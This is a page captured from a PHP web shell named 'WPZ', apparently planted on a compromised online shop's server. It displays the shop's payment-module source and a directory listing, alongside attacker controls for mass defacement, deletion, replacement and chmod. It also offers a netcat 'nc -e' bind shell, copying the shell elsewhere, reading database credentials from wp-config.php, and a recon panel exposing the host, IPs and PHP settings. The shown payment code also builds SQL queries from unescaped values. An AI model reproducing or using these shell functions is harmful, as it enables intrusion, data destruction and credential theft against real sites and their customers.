WPZ

berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/includes/modules/payment/qpay.php (14.55 KB)
<?php

define('TABLE_PAYMENT_QPAY', 'payment_qpay');
define('FORM_URL', 'https://www.qenta.com/qpay/init.php');
define('QPAY_PLUGIN_VERSION', '1.2.2');

class qpay_core_ORIGIN {
    var $code, $title, $description, $enabled;

    var $process_cart_id;
    /// @note will be overwritten by child classes
    var $payment_type = 'SELECT';

    /// @brief initialize qpay module
    function init() {
        $this->code        = get_class($this);
        $c = strtoupper($this->code);
        $this->title       = qpay_core::constant("MODULE_PAYMENT_{$c}_TEXT_TITLE");
        $this->description = qpay_core::constant("MODULE_PAYMENT_{$c}_TEXT_DESCRIPTION");
        $this->info        = qpay_core::constant("MODULE_PAYMENT_{$c}_TEXT_INFO");

        $this->min_order   = qpay_core::constant("MODULE_PAYMENT_{$c}_MIN_ORDER");
        $this->sort_order  = qpay_core::constant("MODULE_PAYMENT_{$c}_SORT_ORDER");
        $this->enabled     = ((qpay_core::constant("MODULE_PAYMENT_{$c}_STATUS") == 'True') ? true : false);
    }

    function constant($name) {
      return (defined($name)) ? constant($name) : NULL;
    }

    function priceToFloat($price) {
      return str_replace(',', '.', array_shift(explode(' ',trim($price))));
    }

    /// @brief collect data and create a array with qpay infos
    function get_order_post_variables_array() {
        global $order, $xtPrice, $insert_id;
        $c = strtoupper($this->code);
        $pluginVersion = base64_encode('GambioGX; '.PROJECT_VERSION.'; ; webteam/gambio; '.QPAY_PLUGIN_VERSION);
        // check language
        $result = xtc_db_query("SELECT code FROM languages WHERE languages_id = '".$_SESSION['languages_id']."'");
        list($lang_code) = mysql_fetch_row($result);

        // set total price
        $total = round($order->info['pp_total'], 2);

        $consumerID = $_SESSION['customer_id'];
        $deliveryInformation = $order->delivery;
        if($deliveryInformation['country_iso_2'] == 'US' || $deliveryInformation['country_iso_2'] == 'CA')
        {
            $deliveryState = $this->_getZoneCodeByName($deliveryInformation['state']);
        }
        else
        {
            $deliveryState = $deliveryInformation['state'];
        }

        $billingInformation  = $order->billing;
        if($billingInformation['country_iso_2'] == 'US' || $billingInformation['country_iso_2'] == 'CA')
        {
            $billingState = $this->_getZoneCodeByName($billingInformation['state']);
        }
        else
        {
            $billingState = $billingInformation['state'];
        }

        $sql = 'SELECT customers_dob, customers_fax FROM ' . TABLE_CUSTOMERS .' WHERE customers_id="'.$consumerID.'" LIMIT 1;';
        $result = xtc_db_query($sql);
        $consumerInformation = mysql_fetch_assoc($result);
        if($consumerInformation['customers_dob'] != '0000-00-00 00:00:00')
        {
            $consumerBirthDateTimestamp = strtotime($consumerInformation['customers_dob']);
            $consumerBirthDate = date('Y-m-d', $consumerBirthDateTimestamp);
        }
        else
        {
            $consumerBirthDate = '';
        }
        $post_variables = array(
            'customerId'            => qpay_core::constant("MODULE_PAYMENT_{$c}_CUSTOMER_ID"),
            'order_id'              => $insert_id,
            'amount'                => round($total,       $xtPrice->get_decimal_places($_SESSION['currency'])),
            'currency'              => $_SESSION['currency'],
            'paymentType'           => $this->payment_type,
            'initPaymentType'		=> $this->payment_type,
            'language'              => $lang_code,
            'orderDescription'      => qpay_core::constant("MODULE_PAYMENT_{$c}_ORDER_DESCRIPTION").'-'.$_SESSION['cart']->cartID,
            'customerStatement'     => qpay_core::constant("MODULE_PAYMENT_{$c}_CUSTOMER_STATEMENT"),
            'displayText'           => qpay_core::constant("MODULE_PAYMENT_{$c}_DISPLAY_TEXT"),

            'successURL'            => xtc_href_link('callback/qenta/qpay_callback.php', '', 'SSL'),
            'cancelURL'             => xtc_href_link('callback/qenta/qpay_callback.php', 'cancel=1', 'SSL'),
            'failureURL'            => xtc_href_link('callback/qenta/qpay_callback.php', 'failure=1', 'SSL'),
            'serviceURL'            => qpay_core::constant("MODULE_PAYMENT_{$c}_SERVICE_URL"),
            'confirmURL'            => xtc_href_link('callback/qenta/qpay_confirm_callback.php', '', 'SSL', false),
            'windowName'			=> 'ShopWindow',
            'pluginVersion'			=> $pluginVersion,

            'consumerShippingFirstName'    => $deliveryInformation['firstname'],
            'consumerShippingLastName'	   => $deliveryInformation['lastname'],
            'consumerShippingAddress1'	   => $deliveryInformation['street_address'],
            'consumerShippingAddress2'	   => $deliveryInformation['suburb'],
            'consumerShippingCity'		   => $deliveryInformation['city'],
            'consumerShippingZipCode'	   => $deliveryInformation['postcode'],
            'consumerShippingState'		   => $deliveryState,
            'consumerShippingCountry'	   => $deliveryInformation['country_iso_2'],
            'consumerShippingPhone'		   => $order->customer['telephone'],
            'consumerBillingFirstName'     => $billingInformation['firstname'],
            'consumerBillingLastName'	   => $billingInformation['lastname'],
            'consumerBillingAddress1'	   => $billingInformation['street_address'],
            'consumerBillingAddress2'	   => $billingInformation['suburb'],
            'consumerBillingCity'		   => $billingInformation['city'],
            'consumerBillingZipCode'	   => $billingInformation['postcode'],
            'consumerBillingState'		   => $billingState,
            'consumerBillingCountry'	   => $billingInformation['country_iso_2'],
            'consumerBillingPhone'		   => $order->customer['telephone'],
        	'consumerEmail'    			   => $order->customer['email_address'],
            'duplicateRequestCheck'        => 'Yes',
        );
        if($consumerBirthDate != '')
        {
            $post_variables['consumerBirthDate'] = $consumerBirthDate;
        }
        if($consumerInformation['customers_fax'] != '' && $consumerInformation['customers_fax'] != null)
        {
            $post_variables['consumerShippingFax'] = $consumerInformation['customers_fax'];
            $post_variables['consumerBillingFax'] = $consumerInformation['customers_fax'];
        }

        // set shop id if isset
        if(constant("MODULE_PAYMENT_{$c}_SHOP_ID"))
            $post_variables['shopId'] = qpay_core::constant("MODULE_PAYMENT_{$c}_SHOP_ID");

        // set shop logo if desired
        if(constant("MODULE_PAYMENT_{$c}_STORE_LOGO_INCLUDE") == 'True') {
          $gm_logo = MainFactory::create_object('GMLogoManager', array("gm_logo_shop"));
          $post_variables['imageURL'] = $gm_logo->logo_path . $gm_logo->logo_file;
        }

        // create fingerprint
        $requestFingerprintOrder = 'secret,';
        $requestFingerprintSeed  = qpay_core::constant("MODULE_PAYMENT_{$c}_PRESHARED_KEY");
        foreach($post_variables as $key => $value) {
            $requestFingerprintOrder .= $key . ',';
            $requestFingerprintSeed  .= trim($value);
        }
        $requestFingerprintOrder .= 'requestFingerprintOrder';
        $requestFingerprintSeed .= $requestFingerprintOrder;
        $requestfingerprint = md5($requestFingerprintSeed);
        $post_variables['requestFingerprintOrder'] = $requestFingerprintOrder;
        $post_variables['requestFingerprint']      = $requestfingerprint;

        return $post_variables;
    }

    /// @brief nothing to do for update_status
    function update_status() {
        return true;
    }

    /// @brief decorate process button
    function process_button() {
    }

    /// @brief nothing to do for before_process
    function before_process() {
        return true;
    }

    /// @brief nothing to do for update_status
    function payment_action() {
        return true;
    }

    /// @brief finalize payment after order is created
    function after_process() {
        $c = strtoupper($this->code);
        $useIFrame = qpay_core::constant("MODULE_PAYMENT_{$c}_USE_IFRAME");
        $timeout = qpay_core::constant("MODULE_PAYMENT_{$c}_REDIRECT_TIMEOUT_SECOUNDS")*1000;
        // redirect
        $process_form = '<form name="qpay_process_form" method="POST" action="'.(FORM_URL).'" >';
        foreach($this->get_order_post_variables_array() as $key => $value)
          $process_form .= xtc_draw_hidden_field($key, $value);
        $process_js = '<script type="text/javascript">setTimeout("document.qpay_process_form.submit();",'.$timeout.');</script>';
        $translation_qpay = array(
            'title'   => qpay_core::constant("MODULE_PAYMENT_{$c}_CHECKOUT_TITLE"),
            'header'  => qpay_core::constant("MODULE_PAYMENT_{$c}_CHECKOUT_HEADER"),
            'content' => qpay_core::constant("MODULE_PAYMENT_{$c}_CHECKOUT_CONTENT")
          );
        $_SESSION['qpay']['useIFrame'] = $useIFrame;
        $_SESSION['qpay']['process_form'] = $process_form;
        $_SESSION['qpay']['process_js'] = $process_js;
        $_SESSION['qpay']['translation'] = $translation_qpay;
        include('checkout_qpay.php');
        // reset cart - no further action necessary
        $_SESSION['cart']->reset(true);
        die(session_close());
    }

    /// @brief set info for order-payment-module selection
    function selection() {
        return array ('id' => $this->code, 'module' => $this->title, 'description' => $this->info);
    }
    function javascript_validation() {
        return false;
    }
    function pre_confirmation_check() {
        return false;
    }
    function confirmation() {
        return false;
    }
    function get_error() {
        return false;
    }

    /// @brief check module status
    function check() {
        if (!isset ($this->_check)) {
            $c = strtoupper($this->code);
            $check_query = xtc_db_query("SELECT configuration_value FROM ".TABLE_CONFIGURATION." WHERE configuration_key='MODULE_PAYMENT_{$c}_STATUS'");
            $this->_check = xtc_db_num_rows($check_query);
        }
        return $this->_check;
    }

    /// @brief install module
    function install() {
        $cg_id = 6; // represents Modul Configuration by default
        $q = "INSERT INTO ".TABLE_CONFIGURATION."
                (configuration_key, configuration_value,  configuration_group_id, sort_order, set_function, date_added)
              VALUES ";
        $s = 1; // represents sort-order at displayed configuration
        $selection = "'gm_cfg_select_option(array(\'True\', \'False\'), '";
        $c = strtoupper($this->code);
        $q .= "
            ('MODULE_PAYMENT_{$c}_STATUS',                  'True',       '$cg_id', '".$s++."', $selection, now()),
            ('MODULE_PAYMENT_{$c}_PRESHARED_KEY',           '',           '$cg_id', '".$s++."', '',         now()),
            ('MODULE_PAYMENT_{$c}_CUSTOMER_ID',             '',           '$cg_id', '".$s++."', '',         now()),
            ('MODULE_PAYMENT_{$c}_STORE_LOGO_INCLUDE',      'True',       '$cg_id', '".$s++."', $selection, now()),
            ('MODULE_PAYMENT_{$c}_SHOP_ID',                 '',           '$cg_id', '".$s++."', '',         now()),
            ('MODULE_PAYMENT_{$c}_SERVICE_URL',             '',           '$cg_id', '".$s++."', '',         now()),
            ('MODULE_PAYMENT_{$c}_CUSTOMER_STATEMENT',      '',           '$cg_id', '".$s++."', '',         now()),
            ('MODULE_PAYMENT_{$c}_ORDER_DESCRIPTION',       '',           '$cg_id', '".$s++."', '',         now()),
            ('MODULE_PAYMENT_{$c}_DISPLAY_TEXT',            '',           '$cg_id', '".$s++."', '',         now()),
            ('MODULE_PAYMENT_{$c}_SORT_ORDER',              '0',          '$cg_id', '".$s++."', '',         now()),
            ('MODULE_PAYMENT_{$c}_ALLOWED',                 '',           '$cg_id', '".$s++."', '',         now()),
            ('MODULE_PAYMENT_{$c}_USE_IFRAME',              'FALSE',      '$cg_id', '".$s++."', $selection, now()) ";
        xtc_db_query($q);

        /// @TODO use for logging
        // create table for saving transaction data and logging
        $q = "CREATE TABLE IF NOT EXISTS ".TABLE_PAYMENT_QPAY."
          (id INT(11) NOT NULL AUTO_INCREMENT,
           orders_id INT(11) NOT NULL,
           qpay_response TEXT NOT NULL,
           created_at TIMESTAMP NOT NULL DEFAULT now(),
           PRIMARY KEY (id))";
        xtc_db_query($q);
    }

    function remove() {
        xtc_db_query("DELETE FROM ".TABLE_CONFIGURATION." WHERE configuration_key IN ('".implode("', '", $this->keys())."')");
    }

    /**
      * @brief define module configuration keys
      * MODULE_PAYMENT_MODULENAME_STATUS ... activated true/false
      * MODULE_PAYMENT_MODULENAME_PRESHARED_KEY ... secret key
      * MODULE_PAYMENT_MODULENAME_CUSTOMER_ID ... qenta customer id
      * MODULE_PAYMENT_MODULENAME_STORE_LOGO_INCLUDE ... use shop logo
      * MODULE_PAYMENT_MODULENAME_SHOP_ID ... qenta shop id
      * MODULE_PAYMENT_MODULENAME_SERVICE_URL ... shop support-page url
      * MODULE_PAYMENT_MODULENAME_CUSTOMER_STATEMENT ... shop info statment
      * MODULE_PAYMENT_MODULENAME_ORDER_DESCRIPTION ... order description
      * MODULE_PAYMENT_MODULENAME_DISPLAY_TEXT ... shop info text
      *
      * following are Gambio-Defaults:
      * MODULE_PAYMENT_MODULENAME_SORT_ORDER ... sort order at payment types selection
      * MODULE_PAYMENT_MODULENAME_ALLOWED ... allowed for which zones
      **/
    function keys() {
        $c = strtoupper($this->code);
        return array("MODULE_PAYMENT_{$c}_STATUS", "MODULE_PAYMENT_{$c}_PRESHARED_KEY", "MODULE_PAYMENT_{$c}_CUSTOMER_ID",
                    "MODULE_PAYMENT_{$c}_STORE_LOGO_INCLUDE", "MODULE_PAYMENT_{$c}_SHOP_ID", "MODULE_PAYMENT_{$c}_SERVICE_URL",
                    "MODULE_PAYMENT_{$c}_CUSTOMER_STATEMENT", "MODULE_PAYMENT_{$c}_DISPLAY_TEXT",
                    "MODULE_PAYMENT_{$c}_ORDER_DESCRIPTION", "MODULE_PAYMENT_{$c}_SORT_ORDER", "MODULE_PAYMENT_{$c}_USE_IFRAME");
    }

    function _getZoneCodeByName($zoneName)
    {
        $sql = 'SELECT zone_code FROM ' . TABLE_ZONES . ' WHERE zone_name=\'' .$zoneName .'\' LIMIT 1;';
        $result = xtc_db_query($sql);
        $resultRow = mysql_fetch_row($result);
        return $resultRow[0];
    }
}


MainFactory::load_origin_class('qpay_core');
?>
namawaktuukuranownerpermaksi
..
images/ 2013-11-12 21:074.19 KB 76129f60960:kundendxwrx-rx-r
banktransfer.php 2013-11-12 21:0620 KB 76129f60960:kunden-xw-x-----
edt
billsafe_2.php 2013-11-12 21:0636.48 KB 76129f60960:kunden-xw-x-----
edt
cash.php 2013-11-12 21:064.85 KB 76129f60960:kunden-xw-x-----
edt
cc.php 2013-11-12 21:0622.13 KB 76129f60960:kunden-xw-x-----
edt
clickandbuy_v2.php 2013-11-12 21:0621.87 KB 76129f60960:kunden-xw-x-----
edt
cod.php 2013-11-12 21:0610.11 KB 76129f60960:kunden-xw-x-----
edt
eustandardtransfer.php 2013-11-12 21:065.4 KB 76129f60960:kunden-xw-x-----
edt
hpcc.php 2013-11-12 21:0612.97 KB 76129f60960:kunden-xw-x-----
edt
hpdc.php 2013-11-12 21:0613.07 KB 76129f60960:kunden-xw-x-----
edt
hpdd.php 2013-11-12 21:0611.76 KB 76129f60960:kunden-xw-x-----
edt
hpeps.php 2013-11-12 21:069.73 KB 76129f60960:kunden-xw-x-----
edt
hpgp.php 2013-11-12 21:0610.26 KB 76129f60960:kunden-xw-x-----
edt
hpidl.php 2013-11-12 21:0611.17 KB 76129f60960:kunden-xw-x-----
edt
hpinfo.php 2013-11-12 21:062.06 KB 76129f60960:kunden-xw-x-----
edt
hppp.php 2013-11-12 21:069.23 KB 76129f60960:kunden-xw-x-----
edt
hpppal.php 2013-11-12 21:069.81 KB 76129f60960:kunden-xw-x-----
edt
hpsu.php 2013-11-12 21:069.73 KB 76129f60960:kunden-xw-x-----
edt
iclear.php 2013-11-12 21:063.88 KB 76129f60960:kunden-xw-x-----
edt
invoice.php 2013-11-12 21:065.39 KB 76129f60960:kunden-xw-x-----
edt
luupws.php 2013-11-12 21:0620.59 KB 76129f60960:kunden-xw-x-----
edt
moneybookers_cc.php 2013-11-12 21:062.1 KB 76129f60960:kunden-xw-x-----
edt
moneybookers_cgb.php 2013-11-12 21:062.13 KB 76129f60960:kunden-xw-x-----
edt
moneybookers_csi.php 2013-11-12 21:062.13 KB 76129f60960:kunden-xw-x-----
edt
moneybookers_elv.php 2013-11-12 21:062.12 KB 76129f60960:kunden-xw-x-----
edt
moneybookers_giropay.php 2013-11-12 21:062.15 KB 76129f60960:kunden-xw-x-----
edt
moneybookers_ideal.php 2013-11-12 21:062.13 KB 76129f60960:kunden-xw-x-----
edt
moneybookers_mae.php 2013-11-12 21:062.13 KB 76129f60960:kunden-xw-x-----
edt
moneybookers_netpay.php 2013-11-12 21:062.14 KB 76129f60960:kunden-xw-x-----
edt
moneybookers_psp.php 2013-11-12 21:062.13 KB 76129f60960:kunden-xw-x-----
edt
moneybookers_pwy.php 2013-11-12 21:062.12 KB 76129f60960:kunden-xw-x-----
edt
moneybookers_sft.php 2013-11-12 21:062.13 KB 76129f60960:kunden-xw-x-----
edt
moneybookers_wlt.php 2013-11-12 21:062.1 KB 76129f60960:kunden-xw-x-----
edt
moneyorder.php 2013-11-12 21:065.37 KB 76129f60960:kunden-xw-x-----
edt
paypal.php 2013-11-12 21:0610.98 KB 76129f60960:kunden-xw-x-----
edt
paypalexpress.php 2013-11-12 21:0610.65 KB 76129f60960:kunden-xw-x-----
edt
paypalgambio_alt.php 2013-11-12 21:068.03 KB 76129f60960:kunden-xw-x-----
edt
pn_sofortueberweisung.php 2013-11-12 21:0625.69 KB 76129f60960:kunden-xw-x-----
edt
postfinance_epayment.php 2013-11-12 21:0611.72 KB 76129f60960:kunden-xw-x-----
edt
qpay.php 2013-11-12 21:0614.55 KB 76129f60960:kunden-xw-x-----
edt
qpayccard.php 2013-11-12 21:06298 B 76129f60960:kunden-xw-x-----
edt
qpayccardmoto.php 2013-11-12 21:06315 B 76129f60960:kunden-xw-x-----
edt
qpayelv.php 2013-11-12 21:06290 B 76129f60960:kunden-xw-x-----
edt
qpayeps.php 2013-11-12 21:06290 B 76129f60960:kunden-xw-x-----
edt
qpaygiropay.php 2013-11-12 21:06306 B 76129f60960:kunden-xw-x-----
edt
qpayidl.php 2013-11-12 21:06290 B 76129f60960:kunden-xw-x-----
edt
qpaymaestro.php 2013-11-12 21:06306 B 76129f60960:kunden-xw-x-----
edt
qpaypaypal.php 2013-11-12 21:06302 B 76129f60960:kunden-xw-x-----
edt
qpaypbx.php 2013-11-12 21:06290 B 76129f60960:kunden-xw-x-----
edt
qpaypsc.php 2013-11-12 21:06290 B 76129f60960:kunden-xw-x-----
edt
qpayquick.php 2013-11-12 21:06298 B 76129f60960:kunden-xw-x-----
edt
qpayselect.php 2013-11-12 21:06302 B 76129f60960:kunden-xw-x-----
edt
saferpaygw.js 2013-11-12 21:0610.53 KB 76129f60960:kunden-xw-x-----
edt
saferpaygw.php 2013-11-12 21:0626.33 KB 76129f60960:kunden-xw-x-----
edt
shopgate.php 2013-11-12 21:06105 B 76129f60960:kunden-xw-x-----
edt
sofort_lastschrift.php 2013-11-12 21:0611.35 KB 76129f60960:kunden-xw-x-----
edt
sofort_sofortlastschrift.php 2013-11-12 21:068.07 KB 76129f60960:kunden-xw-x-----
edt
sofort_sofortrechnung.php 2013-11-12 21:0727.46 KB 76129f60960:kunden-xw-x-----
edt
sofort_sofortueberweisung.php 2013-11-12 21:069.17 KB 76129f60960:kunden-xw-x-----
edt
sofort_sofortvorkasse.php 2013-11-12 21:0613.61 KB 76129f60960:kunden-xw-x-----
edt
vrepay_elv.php 2013-11-12 21:0625.92 KB 76129f60960:kunden-xw-x-----
edt
vrepay_giropay.php 2013-11-12 21:0624.96 KB 76129f60960:kunden-xw-x-----
edt
vrepay_kreditkarte.php 2013-11-12 21:0626.42 KB 76129f60960:kunden-xw-x-----
edt
worldpay.php 2013-11-12 21:0610.49 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/styroporzuschnitte24_shop/includes/modules/payment
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK